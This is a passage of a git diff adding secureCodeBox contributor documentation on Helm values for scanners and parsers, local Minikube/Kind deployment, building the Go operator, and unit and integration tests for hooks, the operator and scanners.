TTLAfterFinished controller: https://kubernetes.io/docs/concepts/workloads/controllers/ttlafterfinished/ + ttlSecondsAfterFinished: null + # @default -- 3 + backoffLimit: 3 + # parser.env -- Optional environment variables mapped into each parseJob (see: https://kubernetes.io/docs/tasks/inject-data-application/define-environment-variable-container/) + env: [] + + # parser.scopeLimiterAliases -- Optional finding aliases to be used in the scopeLimiter. + scopeLimiterAliases: {} + +# Do the same for the scanner containers +scanner: + image: + # scanner.image.repository -- Container Image to run the scan + repository: docker.io/securecodebox/parser-nmap + # scanner.image.tag -- defaults to the charts appVersion + tag: null + + # scanner.ttlSecondsAfterFinished -- seconds after which the kubernetes job for the scanner will be deleted. Requires the Kubernetes TTLAfterFinished controller: https://kubernetes.io/docs/concepts/workloads/controllers/ttlafterfinished/ + ttlSecondsAfterFinished: null + # scannerJob.backoffLimit -- There are situations where you want to fail a scan Job after some amount of retries due to a logical error in configuration etc. To do so, set backoffLimit to specify the number of retries before considering a scan Job as failed. (see: https://kubernetes.io/docs/concepts/workloads/controllers/job/#pod-backoff-failure-policy) + # @default -- 3 + backoffLimit: 3 + + # scanner.resources -- CPU/memory resource requests/limits (see: https://kubernetes.io/docs/tasks/configure-pod-container/assign-memory-resource/, https://kubernetes.io/docs/tasks/configure-pod-container/assign-cpu-resource/) + resources: {} + # resources: + # requests: + # memory: "256Mi" + # cpu: "250m" + # limits: + # memory: "512Mi" + # cpu: "500m" + + # scanner.env -- Optional environment variables mapped into each scanJob (see: https://kubernetes.io/docs/tasks/inject-data-application/define-environment-variable-container/) + env: [] + + # scanner.extraVolumes -- Optional Volumes mapped into each scanJob (see: https://kubernetes.io/docs/concepts/storage/volumes/) + extraVolumes: [] + + # scanner.extraVolumeMounts -- Optional VolumeMounts mapped into each scanJob (see: https://kubernetes.io/docs/concepts/storage/volumes/) + extraVolumeMounts: [] + + # scanner.extraContainers -- Optional additional Containers started with each scanJob (see: https://kubernetes.io/docs/concepts/workloads/pods/init-containers/) + extraContainers: [] + + # scanner.securityContext -- Optional securityContext set on scanner container (see: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) + securityContext: + runAsNonRoot: true + readOnlyRootFilesystem: true + allowPrivilegeEscalation: false + privileged: false + capabilities: + drop: + - all +``` + +## scanner and parser + +The two top-level fields `scanner` and `parser` define the containers and settings for the scanner and parser, respectively. +All fields below are common for both scanner and parser. + +### image + +The `image` field contains the container image and tag used for the scanner or parser. +For the scanner, this could be the official image of the scanner or a custom image, if one is needed. +Usually the `tag` of the image is `null` and will default to the charts `appVersion` (for the scanner) or `version` (for the parser). +See below how to use a local docker image. +For WPScan the official image can be used so the `image` fields for scanner and parser may look like this: + +```yaml +scanner: + image: + repository: wpscanteam/wpscan + tag: null + # ... + +parser: + image: + repository: docker.io/securecodebox/parser-wpscan + tag: null + # ... +``` + +### ttlSecondsAfterFinished + +Defines how long the scanner job after finishing will be available (see: [TTL Controller for Finished Resources | Kubernetes](https://kubernetes.io/docs/concepts/workloads/controllers/ttlafterfinished/)). + +### resources + +The `resources` field can limit or request resources for the scan / parse job (see: [Managing Resources For Containers | Kubernetes](https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/)). +A basic example could be the following: + +```yaml +resources: + requests: + memory: "256Mi" + cpu: "250m" + limits: + memory: "512Mi" + cpu: "500m" +``` + +### env + +Optional environment variables mapped into the job (see: [Define Environment Variables for a Container | Kubernetes](https://kubernetes.io/docs/tasks/inject-data-application/define-environment-variable-container/)). + +### extraVolumes + +Optional Volumes mapped into the job (see: [Volumes | Kubernetes](https://kubernetes.io/docs/concepts/storage/volumes/)). + +### extraVolumeMounts + +Optional VolumeMounts mapped into the job (see: [Volumes | Kubernetes](https://kubernetes.io/docs/concepts/storage/volumes/)). + +### extraContainers + +Optional additional Containers started with the job (see: [Init Containers | Kubernetes](https://kubernetes.io/docs/concepts/workloads/pods/init-containers/)). + +### securityContext + +Optional securityContext set on the container (see: [Configure a Security Context for a Pod or Container | Kubernetes](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)). + +### scopeLimiterAliases + +Optional scopeLimiterAliases set on the parse definition (see [ScopeLimiterAliases](/docs/api/crds/parse-definition#scopelimiteraliases-optional)) + +### affinity + +Optional affinity settings that control how the job is scheduled (see: [Node Affinity | Kubernetes](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes-using-node-affinity/)) + +### tolerations + +Optional tolerations settings that control how the job is scheduled (see: [Tolerations | Kubernetes](https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/)) \ No newline at end of file diff --git a/documentation/docs/contributing/local-deployment.md b/documentation/docs/contributing/local-deployment.md new file mode 100644 index 0000000000..877acc7c61 --- /dev/null +++ b/documentation/docs/contributing/local-deployment.md @@ -0,0 +1,234 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: Local Scanner and Hook deployment +sidebar_position: 3 +--- + +If you are integrating a new scanner or hook and want to test from a local build, this document will guide you through it. +This guide assumes that you have your Kubernetes cluster already up and running and that we can work in your default namespace. If not, check out the [installation](/docs/getting-started/installation/) for more information. +We also assume that you are or have followed the steps in either the [Integrating A Scanner](/docs/contributing/integrating-a-scanner) or [Integrating A Hook](/docs/contributing/integrating-a-hook) guide. + +## Makefile-based build & deploy (recommended) + +To make local testing easier, the secureCodeBox team has provided a Makefile based solution. The specific Make targets and examples to customize them are given in these documents: + +- [Makefile targets scanners](/docs/contributing/integrating-a-scanner/makefile) +- [Makefile targets hooks](/docs/contributing/integrating-a-hook/makefile) + +This document explains how to use these targets to deploy your scanner locally. + +1. **Scanner only**: Inspect your scanner's Makefile. + If your scanner uses a remote Docker image (such as one hosted on Dockerhub), you can comment out or remove the `custom_scanner` line. + If you have defined your own Dockerfile in the `scanner/` directory, you should leave the line as-is. + +2. In the root of the secureCodeBox git repository, under `hook-sdk/nodejs/` and `parser-sdk/nodejs/`, you need to build the Dockerfiles. + This ensures that you have the latest version of the SDK available locally. + You need this in order to build secureCodeBox parsers and hooks. To build the image: + + 1. **Minikube**: run `eval $(minikube docker-env) && make docker-build`. + 2. **Kind**: run `make docker-build`. + +3. In your scanner or hook directory, build the Dockerfiles: + + 1. **Minikube**: run `eval $(minikube docker-env) && make docker-build`. + 2. **Kind**: run `make docker-build docker-export kind-import`. + +4. Run `make deploy` to install your Helm chart in your active Kubernetes cluster into the `integration-tests` namespace. + The make target ensures that the image name and tag matches that built in the previous step. + +5. Now run an example scan and inspect whether the images are correctly used. + +### Example shell + +```shell +securecodebox$ eval $(minikube docker-env) +securecodebox$ cd parser-sdk/nodejs/ +securecodebox/parser-sdk/nodejs$ make docker-build +.: ⚙️ Build 'parser-sdk'. +docker build -t securecodebox/parser-sdk-nodejs:"sha-$(git rev-parse --short HEAD)" . +[...] +Successfully built af5faaf0be6e +Successfully tagged securecodebox/parser-sdk-nodejs:sha-a4490167 +securecodebox/parser-sdk/nodejs$ cd ../../scanners/nmap/ +securecodebox/scanners/nmap$ make docker-build +.: ⚙️ Build 'nmap' parser with BASE_IMG_TAG: 'sha-a4490167'. +[...] +[Warning] One or more build-args [scannerVersion] were not consumed +Successfully built 931ac83a3e42 +Successfully tagged securecodebox/parser-nmap:sha-a4490167 +.: ⚙️ Build 'nmap' scanner with BASE_IMG_TAG: 'sha-a4490167'. +[...] +[Warning] One or more build-args [baseImageTag namespace] were not consumed +Successfully built 721c154357eb +Successfully tagged securecodebox/scanner-nmap:sha-a4490167 +securecodebox/scanners/nmap$ make deploy +.: 💾 Deploying 'nmap' scanner HelmChart with the docker tag 'sha-a4490167' into kind namespace 'integration-tests'. +[...] +Release "nmap" does not exist. Installing it now. +NAME: nmap +LAST DEPLOYED: Thu Nov 18 15:00:14 2021 +NAMESPACE: integration-tests +STATUS: deployed +REVISION: 1 +TEST SUITE: None +securecodebox/scanners/nmap$ kubectl get scantypes.execution.securecodebox.io -n integration-tests +NAME IMAGE +nmap docker.io/securecodebox/scanner-nmap:sha-a4490167 +securecodebox/scanners/nmap$ kubectl get parsedefinitions.execution.securecodebox.io -n integration-tests +NAME IMAGE +nmap-xml docker.io/securecodebox/parser-nmap:sha-a4490167 +``` + +:::note +Notice that the Make target automatically feeds the chart's `AppVersion` into the `scannerVersion` build arg. +::: + +## Manual build & deploy + +0. **Minikube only**: + +```shell +$ eval $(minikube docker-env). +``` + +### Scanner & Parser + +1. Build your scanner image + +```shell +securecodebox/scanners/your-custom-scanner/scanner$ docker build \ + --build-arg=scannerVersion="7.91-r0" \ + -t your-custom-scanner:local-dev \ + . +``` + +2. **Kind only**: import your scanner image + +```shell +securecodebox$ kind load docker-image your-custom-scanner:local-dev +``` + +3. Build Parser SDK + +```shell +securecodebox/parser-sdk/nodejs$ docker build -t securecodebox/parser-sdk-nodejs:local-dev . +``` + +4. Build your parser image + +```shell +securecodebox/scanners/your-custom-scanner/parser$ docker build \ + --build-arg=baseImageTag="local-dev" \ + --build-arg=namespace=securecodebox \ + -t your-custom-parser:local-dev \ + . +``` + +5. **Kind only**: import your parser image + +```shell +securecodebox$ kind load docker-image your-custom-parser:local-dev +``` + +6. Update deployment image references. + Change the fields in `values.yaml` file like this: + +```yaml +parser: + image: + repository: your-custom-parser + pullPolicy: Never + tag: local-dev +scanner: + image: + repository: your-custom-scanner + pullPolicy: Never + tag: local-dev +``` + +### Hook + +1. Build Hook SDK + +```shell +securecodebox/hook-sdk/nodejs$ docker build -t securecodebox/hook-sdk-nodejs:local-dev . +``` + +2. Build hook + +```shell +securecodebox/hooks/your-custom-hook/hook/$ docker build \ + --build-arg=baseImageTag="local-dev" \ + --build-arg=namespace=securecodebox \ + -t your-custom-hook:local-dev \ + . +``` + +3. **Kind only**: import your hook image + +```shell +securecodebox$ kind load docker-image your-custom-hook:local-dev +``` + +4. Update deployment image references. + Change the fields in `values.yaml` file like this: + +```yaml +hook: + image: + repository: your-custom-hook + tag: local-dev + pullPolicy: Never +``` + +5. Deploy the scanner. + +```shell +securecodebox/hooks/your-custom-hook/$ helm upgrade --install your-custom-hook . +``` + +## Debugging + +### `ImagePullBackOff` + +Kubernetes is reporting that it isn't able to find the specified image. +Check with `kubectl describe pod [name of pod]` which image your scanner wants to use and whether you have made that image available. +Check your Docker build logs to verify that the image has been correctly tagged. +You can also check if the image is actually available: + +- **Minikube**: `minikube ssh docker images` +- **Kind**: `docker exec kind-control-plane crictl images` + +Don't forget that all images you want to use in your Minikube Kubernetes cluster must be either remotely available or made available in your Kubernetes cluster. + +- **Minikube**: built using `eval $(minikube docker-env)`. +- **Kind**: imported after building + - Using Makefile: `make docker-export kind-import`. + - Manually: `kind load docker-image parser-nmap:[tag]`. + +### Namespace + +In some cases, you might accidentally install secureCodeBox in an unexpected namespace. +Check that you don't have any left-over releases installed. + +```shell +$ helm list --all-namespaces +NAME NAMESPACE REVISION UPDATED STATUS CHART APP VERSION +nmap integration-tests 1 2021-11-18 15:00:14.712583292 +0100 CET deployed nmap-v3.1.0-alpha1 7.91-r0 +securecodebox-operator securecodebox-system 1 2021-11-18 10:09:24.804277463 +0100 CET deployed operator-v3.1.0-alpha1 +update-category integration-tests 1 2021-11-18 11:18:45.104860436 +0100 CET deployed update-field-hook-v3.1.0-alpha1 +update-severity integration-tests 1 2021-11-18 11:18:45.267164462 +0100 CET deployed update-field-hook-v3.1.0-alpha1 +``` + +You can install secureCodeBox components in any namespace, however verify that you are starting your scans in the same namespace as where you deployed your scanner or hook. + +```shell +$ kubectl apply -f ./nmap-scan.yaml -n integration-tests +scan.execution.securecodebox.io/nmap created +$ kubectl get scans -A +NAMESPACE NAME TYPE STATE FINDINGS +integration-tests nmap nmap Done 1 +``` diff --git a/documentation/docs/contributing/operator.md b/documentation/docs/contributing/operator.md new file mode 100644 index 0000000000..f72fbd1e92 --- /dev/null +++ b/documentation/docs/contributing/operator.md @@ -0,0 +1,88 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Modifying the Operator" +sidebar_position: 4 +--- + +## Prerequisites + +### Golang + +The operator is written in Golang. To build the operator you will need to install [Go](https://golang.org/). + +### Local Kubernetes Environment + +For local development we recommend to use [Minikube](https://kubernetes.io/docs/tasks/tools/install-minikube/) or [kind](https://github.com/kubernetes-sigs/kind). If you are using MacOS or Windows you can also use the kubernetes cluster included within Docker for Mac/Windows. All of these tools will enable you to run a local kubernetes cluster on your development machine. + +### Operating Your Local Kubernetes Cluster + +To operate your (local) Kubernetes cluster you will need to install [kubectl](https://kubernetes.io/docs/tasks/tools/install-kubectl/) and [helm](https://helm.sh/) + +#### macOS + +For macOs simply use [Homebrew](https://brew.sh/) to install all the tools: + +```bash +brew cask install docker +brew install go helm +``` + +After that start the `Docker.app` and go to it's settings and start Kubernetes. + +#### Minio + +For your local development you will need a S3 compatible storage. +We would recommend to use [Minio](https://min.io/download#/) inside a docker container. + +```bash +docker container run \ + --name minio \ + -p 9000:9000 \ + -p 9001:9001 \ + -d \ + --rm \ + minio/minio \ + server /data \ + --console-address ":9001" +``` + +In the Minio management GUI you will need to add a new bucket for the operator. The default credentials for your minio instance are `minioadmin:minioadmin`. You might change those. Go to the management UI at <http://localhost:9001/> and add a new bucket. After creating your bucket you will need to specify some environment variables to enable the operator to use the bucket. For that export these variables: + +```bash +export MINIO_ACCESS_KEY="your-minio-access-key" +export MINIO_SECRET_KEY="your-minio-secret-key" +export S3_BUCKET="name-of-your-bucket" +export S3_USE_SSL="false" # This ensures that the operator will connect even without HTTPS +export S3_ENDPOINT="127.0.0.1:9000" +``` + +You can save time by using [direnv](https://direnv.net/) to export these variables in your project. If you use direnv just add a file `.s3_credentials` with your Minio credentials. + +### Build and Run the Operator + +To build and run the operator you can simply execute `make` in the `operator` directory of this repository: + +```bash +cd operator +make +``` + +This will produce the operator as `bin/manager`. If you wonder why the operator is named _manager_ (the resulting binary). The reason for that is in Kubernetes a combination of more than one _controller_ is called _controller-manager_ or short _manager_. In contrast, _operator_ is created by the community to name a _controller-manager_ which controls _custom resources_ and hence we use _custom resources_. (see <https://book.kubebuilder.io/> for further information) + +To run the operator locally you can simply execute `make run` in the `operator` directory of this repository: + +_NOTICE:_ You will need to uninstall the operator with `helm -n securecodebox-system uninstall securecodebox-operator` from your local cluster, if you've installed it via helm. Unless both operators try to work on the same cluster which may cause unexpected behavior. + +```bash +cd operator +make run +``` + +To run multiple operator instances locally (e.g. SCB operator and SCB Autodiscovery operator) the `metrics-bind-address` and `health-probe-bind-address` port needs to be changed via commandline arguements for one of the operators.<br/> +``` +go run ./main.go -metrics-bind-address :9090 -health-probe-bind-address :9595 +``` + diff --git a/documentation/docs/contributing/test-concept/_category_.json b/documentation/docs/contributing/test-concept/_category_.json new file mode 100644 index 0000000000..e43e4fbb4a --- /dev/null +++ b/documentation/docs/contributing/test-concept/_category_.json @@ -0,0 +1,4 @@ +{ + "label": "Testing Concept", + "position": 4 +} diff --git a/documentation/docs/contributing/test-concept/hook-test.md b/documentation/docs/contributing/test-concept/hook-test.md new file mode 100644 index 0000000000..815e3b2757 --- /dev/null +++ b/documentation/docs/contributing/test-concept/hook-test.md @@ -0,0 +1,246 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Hook Testing" +sidebar_position: 4 +--- +## Hook + +Hooks work in securecodeBox to provide extra functionalities between the different modules implemented. + +For example, A Notification WebHook would fetch the findings of a scan, and send them to messaging programs such as E-Mail or Slack. The Cascading Scans Hook can be used to orchestrate security scanners based on defined rule sets, and as result launch new scans. + +We would like to test if given the correct circumstances, the hook would behave as expected. For that we employ two types of tests: Unit tests and integration-tests. Both types of tests are based upon the [Jest](https://jestjs.io/) testing framework. + +### Unit Tests +The hooks are usually agnostic to the existence of the running scanners. For example the cascading scan hook, only looks at the findings of the scans, and checks if the any of the finding's attribute match the cascading rule. So to test its functionality, it is sufficient to define a scan, its findings and the casdingrule, and see if the expected cascading scan is triggered. For this purpose the beforeEach() function of the jest framework comes in handy. + +```js +let parentScan = undefined; +let sslyzeCascadingRules = undefined; +let parseDefinition = undefined; + +beforeEach(() => { + parentScan = { + apiVersion: "execution.securecodebox.io/v1", + kind: "Scan", + metadata: { + name: "nmap-foobar.com", + annotations: {}, + }, + spec: { + scanType: "nmap", + parameters: "foobar.com", + cascades: {}, + }, + }; + parseDefinition = { + meta: {}, + spec: { + scopeLimiterAliases: {}, + }, + }; + + sslyzeCascadingRules = [ + { + apiVersion: "cascading.securecodebox.io/v1", + kind: "CascadingRule", + metadata: { + name: "tls-scans", + }, + spec: { + matches: { + anyOf: [ + { + category: "Open Port", + attributes: { + port: 443, + service: "https", + }, + }, + { + category: "Open Port", + attributes: { + service: "https", + }, + }, + ], + }, + scanSpec: { + scanType: "sslyze", + parameters: ["--regular", "{{$.hostOrIP}}:{{attributes.port}}"], + }, + }, + }, + ]; +}); + +``` +Here we set the parent scan as an nmap scan. And also set a cascading rule that launches an sslyze scan if certain ports are open i.e 443. These variables are set before each actual test case (documentation [here](https://jestjs.io/docs/api#beforeeachfn-timeout)). + +Depending on the functionality that we want to test. The findings variable, or any relevant variable to the hook is set in the test case as seen here. + +```js +test("Should create subsequent scans for open HTTPS ports (NMAP findings)", () => { + const findings = [ + { + name: "Port 443 is open", + category: "Open Port", + attributes: { + state: "open", + hostname: "foobar.com", + port: 443, + service: "https", + }, + }, + ]; + + const cascadedScans = getCascadingScans( + parentScan, + findings, + sslyzeCascadingRules, + undefined, + parseDefinition + ); + + expect(cascadedScans).toMatchInlineSnapshot(` + Array [ + Object { + "apiVersion": "execution.securecodebox.io/v1", + "kind": "Scan", + "metadata": Object { + "annotations": Object { + "cascading.securecodebox.io/chain": "tls-scans", + "cascading.securecodebox.io/matched-finding": undefined, + "cascading.securecodebox.io/parent-scan": "nmap-foobar.com", + "securecodebox.io/hook": "cascading-scans", + }, + "generateName": "sslyze-foobar.com-tls-scans-", + "labels": Object {}, + "ownerReferences": Array [ + Object { + "apiVersion": "execution.securecodebox.io/v1", + "blockOwnerDeletion": true, + "controller": true, + "kind": "Scan", + "name": "nmap-foobar.com", + "uid": undefined, + }, + ], + }, + "spec": Object { + "affinity": undefined, + "cascades": Object {}, + "env": Array [], + "hookSelector": Object {}, + "initContainers": Array [], + "parameters": Array [ + "--regular", + "foobar.com:443", + ], + "scanType": "sslyze", + "tolerations": undefined, + "volumeMounts": Array [], + "volumes": Array [], + }, + }, + ] + `); +}); + +``` + +The findings are set to include an open 443 port. We expect the cascading scan hook to create an sslyze scan. We compare the created scan from function getCascadingScans() with an inline snapshot containing the expected scan. If it's a match then the test was successful. + +The initial variable set in the beforeEach() function can also be overwritten if the test case obliges. For example here, we want to make sure that no additional scan is created, if no matching cascading rule is present. For that we overwrite the cascadingRules variable with an empty array. +```js +test("Should create no subsequent scans if there are no rules", () => { + const findings = [ + { + name: "Port 443 is open", + category: "Open Port", + attributes: { + state: "open", + hostname: "foobar.com", + port: 443, + service: "https", + }, + }, + ]; + + const cascadingRules = []; + + const cascadedScans = getCascadingScans( + parentScan, + findings, + cascadingRules, + undefined, + parseDefinition + ); + + expect(cascadedScans).toMatchInlineSnapshot(`Array []`); +}); +``` + +### How to Run a Unit Test + +To run a unit-test, it suffices to run +```bash +make unit-tests +``` +in the hook's directory. + +### Integration Tests + +It is of importance to us, that our CI runs efficiently and quickly. The purpose of that, is to provide quick feedback to the developers about the state of the feature they are currently working on. This speed is usually not feasible in the case of hooks, since they require various applications to be deployed. In the case of a Notification WebHook, in addition to the SCB stack, A Slack or any other kind of messaging service would have to be setup during the integration test +process. As expected, this lengthens the time required for the CI to run. +The sole exception is hooks that are self contained in the SCB stack e.g. The cascading scan hook. In this case, the integration test is very similar to how [scanners integration tests](/docs/contributing/test-concept/scanner-test#integration-tests) are run. + +The hook has a folder named `integration tests` where tests are defined. In the example below, we run an nmap scan, and expect results from an Ncrack scan to be present. An actual SCB scan in then run in the CI's Kind Cluster (Through the [Scan CRD](/docs/api/crds/scan)). + +```js +test( + "Cascading Scan nmap -> ncrack on dummy-ssh", + async () => { + const { categories, severities, count } = await cascadingScan( + "nmap-dummy-ssh", + "nmap", + ["-Pn", "-sV", "dummy-ssh.demo-targets.svc"], + { + nameCascade: "ncrack-ssh", + matchLabels: { + "securecodebox.io/invasive": "invasive", + "securecodebox.io/intensive": "high", + }, + }, + 120 + ); + + expect(count).toBe(1); + expect(categories).toEqual({ + "Discovered Credentials": 1, + }); + expect(severities).toEqual({ + high: 1, + }); + }, + 3 * 60 * 1000 +); + +``` +For this test to be considered successful, it has to match the expected condition. In this case, the condition is that the count of the findings is 1, have one "Discovered Credentials" vulnerability category that is of severity high. +### How to Run an Integration Test + +To run the test it suffices to run: +```bash +make test +``` +All previous tests will be deleted and the current test will be run on a clean slate. + +If no clean install is needed before running the test, it is possible to run only the tests themselves through: + +```bash +make integration-tests +``` diff --git a/documentation/docs/contributing/test-concept/index.md b/documentation/docs/contributing/test-concept/index.md new file mode 100644 index 0000000000..af59cd4542 --- /dev/null +++ b/documentation/docs/contributing/test-concept/index.md @@ -0,0 +1,28 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Testing Concept" +sidebar_label: "Introduction" +sidebar_position: 1 +--- + +## Introduction +To ensure the functionality of our project, we make use of automated tests in our Continuous Integration (CI) pipeline. This allows us to have feedback on whether newly implemented and old functionalities are operating correctly. +It's also important that this feedback is fast to not delay our operations. That is why, a good balance between unit tests and integration tests has to be struck. +For that, we refer to the Martin Fowler [article](https://martinfowler.com/articles/practical-test-pyramid.html) that presents the fundamentals on creating a good testing pyramid. In a testing pyramid, tests that require more CPU time are at the top of the pyramid and are few. The opposite happens the lower you go in the pyramid. + +This is the testing pyramid for the SecureCodeBox: + +![scb-testing-structure](/img/docs/testing/scb-testing.png) + +We have unit tests for the different SCB modules (e.g. Operator, Hook, Scanner ...). These tests are meant to be fast. For our integration test, we run a complete SCB scan in a Kind Cluster and we evaluate the resulted findings. +The following articles describe how each module implements its unit and integration tests: + +* [Operator](/docs/contributing/test-concept/operator-test) +* [Scanner](/docs/contributing/test-concept/scanner-test) +* [Hook](/docs/contributing/test-concept/hook-test) + +We use Make as a basis for our testing framework. The Makefiles expect additional software to be installed: +git, node + npm, docker, kind, kubectl, helm and [yq](https://github.com/mikefarah/yq/). diff --git a/documentation/docs/contributing/test-concept/operator-test.md b/documentation/docs/contributing/test-concept/operator-test.md new file mode 100644 index 0000000000..81027fd245 --- /dev/null +++ b/documentation/docs/contributing/test-concept/operator-test.md @@ -0,0 +1,159 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Operator Testing" +sidebar_position: 2 +--- +## Operator + +### How to create a test +The operator i.e the Kubernetes custom operator that we use for handling the SCB Custom resource definitions (CRDs), uses Ginkgo, a BDD-style Go testing framework (http://onsi.github.io/ginkgo/ to learn more about Ginkgo.). + +To test the functionalities of the operator, we create scenarios where the CRDs are in certain states and see how the operator reacts. +Take the following example. Here we try to test whether the operator would retrigger a [ScheduledScan](/docs/api/crds/scheduled-scan) if the corresponding [ScanType](/docs/api/crds/scan-type) is updated. + +```go +var _ = Describe("ScanType controller", func() { + Context("Restarting ScheduledScans on ScanType Config Changes", func() { + It("Should restart a scheduledScan when the scantype was update", func() { + ctx := context.Background() + namespace := "scantype-autorestart-config-change-test" + + createNamespace(ctx, namespace) + createScanType(ctx, namespace) + scheduledScan := createScheduledScan(ctx, namespace, true) + + // ensure that the ScheduledScan has been triggered + waitForScheduledScanToBeTriggered(ctx, namespace) + k8sClient.Get(ctx, types.NamespacedName{Name: "test-scan", Namespace: namespace}, &scheduledScan) + initialExecutionTime := *scheduledScan.Status.LastScheduleTime + + // wait at least one second to ensure that the unix timestamps are at least one second apart. + time.Sleep(1 * time.Second) + + By("Update ScanType to trigger rescan") + var scanType executionv1.ScanType + k8sClient.Get(ctx, types.NamespacedName{Name: "nmap", Namespace: namespace}, &scanType) + if scanType.ObjectMeta.Annotations == nil { + scanType.ObjectMeta.Annotations = map[string]string{} + } + scanType.ObjectMeta.Annotations["foobar.securecodebox.io/example"] = "barfoo" + err := k8sClient.Update(ctx, &scanType) + if err != nil { + panic(err) + } + + By("Controller should set the lastScheduled Timestamp to the past to force a re-scan") + Eventually(func() bool { + err := k8sClient.Get(ctx, types.NamespacedName{Name: "test-scan", Namespace: namespace}, &scheduledScan) + if errors.IsNotFound(err) { + panic("ScheduledScan should be present for this check!") + } + + return scheduledScan.Status.LastScheduleTime.Unix() != initialExecutionTime.Unix() + }, timeout, interval).Should(BeTrue()) + }) + }) +} +``` +We start by creating a context to run the test in. Then, we set the CRDs to their initial state. In this case the CRDs are [ScanType](/docs/api/crds/scan-type) and [ScheduledScan](/docs/api/crds/scheduled-scan). + +The function `createScanType` sets the initial state for a `nmap` ScanType. The different metadata are set manually. This is because the test, driven by Ginkgo, does not actually run inside a real cluster. Instead the tests run inside a simulated cluster that allows the isolated testing of the operator. The `createScanType` function would look like the following: + +```go +func createScanType(ctx context.Context, namespace string) { + scanType := &executionv1.ScanType{ + TypeMeta: metav1.TypeMeta{ + APIVersion: "execution.securecodebox.io/v1", + Kind: "ScanType", + }, + ObjectMeta: metav1.ObjectMeta{ + Name: "nmap", + Namespace: namespace, + }, + Spec: executionv1.ScanTypeSpec{ + ExtractResults: executionv1.ExtractResults{ + Location: "/home/securecodebox/nmap.xml", + Type: "nmap-xml", + }, + JobTemplate: batchv1.Job{ + Spec: batchv1.JobSpec{ + Template: corev1.PodTemplateSpec{ + Spec: corev1.PodSpec{ + Containers: []corev1.Container{ + { + Name: "nmap", + Image: "securecodebox/scanner-nmap", + Args: []string{"-oX", "/home/securecodebox/nmap.xml"}, + }, + }, + }, + }, + }, + }, + }, + } + Expect(k8sClient.Create(ctx, scanType)).Should(Succeed()) +} +``` +We do the same for the Namespace and ScheduledScan in functions `createNamespace` and `createScheduledScan` accordingly. +Before carrying on with our test, we first have to make sure that the scheduledScan has actually been triggered. +We do this by using the `Eventually` control loop of Ginkgo. As the documentation states: "In the case of Eventually, Gomega polls the input repeatedly until the matcher is satisfied - once that happens the assertion exits successfully and execution continues. If the matcher is never satisfied `Eventually` will time out with a useful error message" (more info [here](https://onsi.github.io/ginkgo/#patterns-for-asynchronous-testing)). + +This would look like the following: + +```go +func waitForScheduledScanToBeTriggered(ctx context.Context, namespace string) { + var scheduledScan executionv1.ScheduledScan + By("Wait for ScheduledScan to trigger the initial Scan") + Eventually(func() bool { + err := k8sClient.Get(ctx, types.NamespacedName{Name: "test-scan", Namespace: namespace}, &scheduledScan) + if errors.IsNotFound(err) { + panic("ScheduledScan should be present for this check!") + } + + return scheduledScan.Status.LastScheduleTime != nil + }, timeout, interval).Should(BeTrue()) +} +``` +Afterwards, we get the scheduledScan CRD from our context and save it to the `scheduledScan` variable, whilst taking note of the initial execution time of the ScheduledScan. This helps us determine whether the scheduledScan was retriggered or not. + + +In the same way that we set the initial metadata for the CRDs, we will now update the ScanType to hopefully trigger a rescan. + +For better test workflow visibility, the different sections of a test are seperated by the keyword "by", which describes what each section does. The scanType update is done in the `By("Update ScanType to trigger rescan")` section. + +In the following section we then check whether the timestamp of ScheduledScan execution time has changed. If it has changed, it means that the ScheduledScan has been retriggered. +We use the `Eventually` control loop again to check for the fulfillment of our condition i.e comparing the context's scheduledScan last schedule time and the initial execution time. + +### How to run a test + +Running the test is easy through our makefiles. In the operator folder (securecodebox/operator), it is sufficient to run +```bash +cd operator +make test +``` +to execute a test run of the operator. + +If you are using VS Code, and you wish to also be able to use the IDE and Debug your code, you can use the following launch options: + +```json +//launch.json +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Launch Package", + "type": "go", + "request": "launch", + "mode": "test", + "program": "${workspaceFolder}/operator/controllers/execution", + "args": ["-test.v"], + "env": {"KUBEBUILDER_ASSETS": "${workspaceFolder}/operator/testbin/bin"} + } + ] +} +``` +You may need to adjust the `program` and `env` paths according to your workspace. Make sure to run `make test` once before debugging to ensure that the needed binaries in the `bin` folder are downloaded. \ No newline at end of file diff --git a/documentation/docs/contributing/test-concept/scanner-test.md b/documentation/docs/contributing/test-concept/scanner-test.md new file mode 100644 index 0000000000..ddf1ce3c47 --- /dev/null +++ b/documentation/docs/contributing/test-concept/scanner-test.md @@ -0,0 +1,75 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Scanner Testing" +sidebar_position: 3 +--- +## Scanner + +We employ two types of tests: Unit tests for the parser and integration-tests. Both types of tests are based upon the [Jest](https://jestjs.io/) testing framework. + +### Unit Tests for Parser + +Each scanner has a parser and each parser has a unit test file. The unit test file is named parser.test.js. This file contains different test scenarios. In each test, the results from parser.js and the folder `_snapshots_` are compared. If they are the same, the unit test is successful. +A unit test can look like this: + +```js +test("parser parses large json result without vulnerable extensions successfully", async () => { + const fileContent = await readFile( + __dirname + "/__testFiles__/localhost.json", + { + encoding: "utf8", + } + ); + const findings = await parse(JSON.parse(fileContent)); + await expect(validateParser(findings)).resolves.toBeUndefined(); + expect(findings).toMatchSnapshot(); +}); + +``` +This test for example expects a test file, i.e a raw scanner output, to be found in `/__testFiles__/localhost.json` +### How to Run a Unit Test + +To run a unit-test it suffices to run +```bash +make unit-tests +``` +in the scanner directory. + +### Integration Tests + +Each scanner has a folder with integration tests. For the integration tests we check the results of the `scan` function. This function runs an actual SCB scan in the Kind Cluster (Through the [Scan CRD](/docs/api/crds/scan)). It expects the following parameters: Name of the scan, scanType, scanner-specific parameters for the scan and the allowed timeout. + +An integration test for, for example, the 